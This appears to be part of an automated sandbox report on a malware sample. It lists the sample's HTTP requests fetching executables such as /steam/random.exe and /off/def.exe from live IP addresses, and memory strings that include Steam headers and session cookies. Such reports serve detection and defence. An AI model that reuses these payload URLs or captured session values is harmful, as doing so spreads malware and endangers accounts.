Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B62E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B62E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: --autocomplete-popup-separator-color://www.facebook.com/platform/impression.phpresource://gre/modules/AddonManager.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.2199555514.000000000065A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208549142.000000000065A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208378374.000000000064D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamco equals www.youtube.com (Youtube)
Source: ee8d47a049.exe, 0000000E.00000003.3035132023.00000000011B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: ee8d47a049.exe, 0000000C.00000003.2883867156.00000000010D0000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://*.discovery.bet# equals www.youtube.com (Youtube)
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=3dc89035b58a2109d32b7c7d; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 24 Oct 2024 07:08:34 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.2199555514.000000000064D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: HeContent-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=27c225fad82f110f13c77afc; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35741Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 24 Oct 2024 07:07:11 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
